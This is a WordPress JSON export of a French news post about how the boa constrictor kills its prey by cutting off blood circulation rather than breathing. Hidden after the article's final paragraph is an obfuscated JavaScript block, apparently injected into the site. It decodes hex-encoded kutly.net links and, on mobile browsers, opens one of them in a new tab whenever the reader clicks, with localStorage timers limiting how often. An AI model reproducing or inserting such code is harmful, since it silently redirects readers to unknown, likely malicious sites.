{"id":10840,"date":"2015-08-21T20:20:55","date_gmt":"2015-08-21T18:20:55","guid":{"rendered":"http:\/\/www.lapressedefrance.fr\/news\/?p=10840"},"modified":"2021-08-04T10:10:45","modified_gmt":"2021-08-04T08:10:45","slug":"comment-le-boa-constrictor-tue-ses-proies","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/comment-le-boa-constrictor-tue-ses-proies\/","title":{"rendered":"Comment le boa constrictor tue ses proies?"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Comment le boa constrictor tue ses proies?\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Le Boa constrictor est une esp\u00e8ce de reptile de la famille des Bo\u00efd\u00e9s et il est originaire d&#8217;Am\u00e9rique, de l&#8217;Argentine au sud jusqu&#8217;au Mexique au nord. Comme son nom l&#8217;indique, ce serpent capture ses\u00a0proies et les tue par constriction. Mais qu&#8217;es-ce que cela implique-t-il plus exactement? Quelle est la cause de la mort des proies d&#8217;un Boa constrictor ?<\/p>\n<p><strong>Non, ce n&#8217;est pas par suffocation<\/strong><\/p>\n<p>La premi\u00e8re chose qui vient \u00e0 l&#8217;esprit quand on pense \u00e0 la m\u00e9thode d&#8217;attaque du boa \u00a0constrictor est bien s\u00fbr l&#8217;\u00e9touffement. Mais ce n&#8217;est pas tout \u00e0 fait correct et les scientifiques viennent de le d\u00e9montrer tout\u00a0simplement. C&#8217;est un peu controvers\u00e9, mais un groupe de sp\u00e9cialistes du Dickinson Coll\u00e8ge, aux \u00c9tats-Unis, ont anesth\u00e9si\u00e9 des rats utilis\u00e9s pour analyser la mani\u00e8re d&#8217;attaque\u00a0d&#8217;un boa constrictor. Nous allons voir\u00a0comment un Boa constrictor arrive \u00e0 tuer ses proies.<\/p>\n<p><a href=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/boa-constrictor.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-10841\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/boa-constrictor.jpg\" alt=\"boa constrictor\" width=\"289\" height=\"174\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/boa-constrictor.jpg 289w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/boa-constrictor-200x120.jpg 200w\" sizes=\"(max-width: 289px) 100vw, 289px\" \/><\/a><\/p>\n<p>Les chercheurs ont install\u00e9 des capteurs chez les rats pour \u00e9valuer les signes vitaux alors qu&#8217;ils ont \u00e9t\u00e9 attaqu\u00e9s par un boa, mais aussi dans le serpent propre, afin d&#8217;\u00e9valuer combien de force exerce sur sa proie. Le r\u00e9sultat de leur observation \u00e9tait impressionnant. Le Boa ne\u00a0coupe pas le\u00a0souffle pour \u00e9touffer\u00a0la proie et causer sa mort, mais il coupe la circulation de ses organes vitaux ainsi ils meurent un par un.<\/p>\n<p>Le but, en fin de compte, est le m\u00eame : les organes meurent parce qu&#8217;ils ne re\u00e7oivent pas d&#8217;oxyg\u00e8ne. Mais plut\u00f4t que de contracter les voies respiratoires afin que la proie ne re\u00e7oit pas d&#8217;oxyg\u00e8ne, le boa aura contraint son syst\u00e8me circulatoire afin que l&#8217;oxyg\u00e8ne qu&#8217;il re\u00e7oit ne sera pas\u00a0distribu\u00e9. La Suffocation, si nous l&#8217;observons, est une m\u00e9thode beaucoup plus lente, donc il est logique de dire que le boa tue en coupant\u00a0circulation sanguine et non pas la respiration.<\/p>\n<p>&nbsp;<br \/>\n<iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/vY9T_77qyoI\" width=\"420\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>Lorsque les voies a\u00e9riennes sont coup\u00e9es le c\u0153ur peut continuer \u00e0 travailler et \u00e0 pomper l&#8217;oxyg\u00e8ne restant dans le corps pendant un certain temps et peut m\u00eame passer en mode \u00ab \u00e9conomie d&#8217;\u00e9nergie \u00bb et survivre plus longtemps. \u00c0 l&#8217;inverse, lorsque la circulation sanguine est coup\u00e9e, l&#8217;animal peut respirer tout l&#8217;oxyg\u00e8ne qu&#8217;il veut, mais en vain parce qu&#8217;il ne pourra\u00a0pas le faire parvenir aux organes actifs dont il a besoin\u00a0pour rester en vie.<\/p>\n<p>D\u00e9sormais, les scientifiques doivent d\u00e9terminer si le m\u00e9canisme fonctionne de la m\u00eame mani\u00e8re avec toutes sortes de proies et pas seulement sur des rats. Mais pour exp\u00e9rimenter d&#8217;autres types d&#8217;animaux ils doivent l\u00e9g\u00e8rement modifier leur\u00a0m\u00e9thode, \u00e9tant donn\u00e9 que, pour des raisons \u00e9thiques, ils ne peuvent pas soumettre un animal \u00e0 ce type de souffrance, uniquement dans le but d&#8217;analyser comment ils vont mourir. Dans ce cas, les rats ont \u00e9t\u00e9 anesth\u00e9si\u00e9s, mais le r\u00e9sultat final est le m\u00eame : ils\u00a0sont tous morts.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x41\\x68\\x56\\x32\\x63\\x302','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x66\\x70\\x4e\\x33\\x63\\x333','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x69\\x68\\x78\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x71\\x43\\x4e\\x37\\x63\\x317','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4d\\x45\\x44\\x36\\x63\\x356','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4f\\x76\\x63\\x38\\x63\\x368','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x71\\x6e\\x43\\x35\\x63\\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x47\\x5a\\x68\\x31\\x63\\x381',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4b\\x50\\x51\\x34\\x63\\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x53\\x4b\\x43\\x39\\x63\\x369','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n<div class=\"pvc_clear\"><\/div>\n<p class=\"pvc_stats all \" data-element-id=\"10840\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;6,094&nbsp;total views, &nbsp;4&nbsp;views today<\/p>\n<div class=\"pvc_clear\"><\/div>\n<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Comment le boa constrictor tue ses proies?\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"excerpt":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Comment le boa constrictor tue ses proies?\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Le Boa constrictor est une esp\u00e8ce de reptile de la famille des Bo\u00efd\u00e9s et il est originaire d&#8217;Am\u00e9rique, de l&#8217;Argentine au sud jusqu&#8217;au Mexique au nord. Comme son nom l&#8217;indique, ce serpent capture ses\u00a0proies et les tue par constriction. Mais qu&#8217;es-ce que cela implique-t-il plus exactement? Quelle est la cause de la mort des proies [&hellip;]<\/p>\n<div class=\"pvc_clear\"><\/div>\n<p class=\"pvc_stats all \" data-element-id=\"10840\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;6,094&nbsp;total views, &nbsp;4&nbsp;views today<\/p>\n<div class=\"pvc_clear\"><\/div>\n<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Comment le boa constrictor tue ses proies?\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"author":3,"featured_media":10842,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2242],"tags":[],"class_list":["post-10840","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-divers"],"_links":{"self":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/10840"}],"collection":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/comments?post=10840"}],"version-history":[{"count":0,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/10840\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media\/10842"}],"wp:attachment":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media?parent=10840"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/categories?post=10840"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/tags?post=10840"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}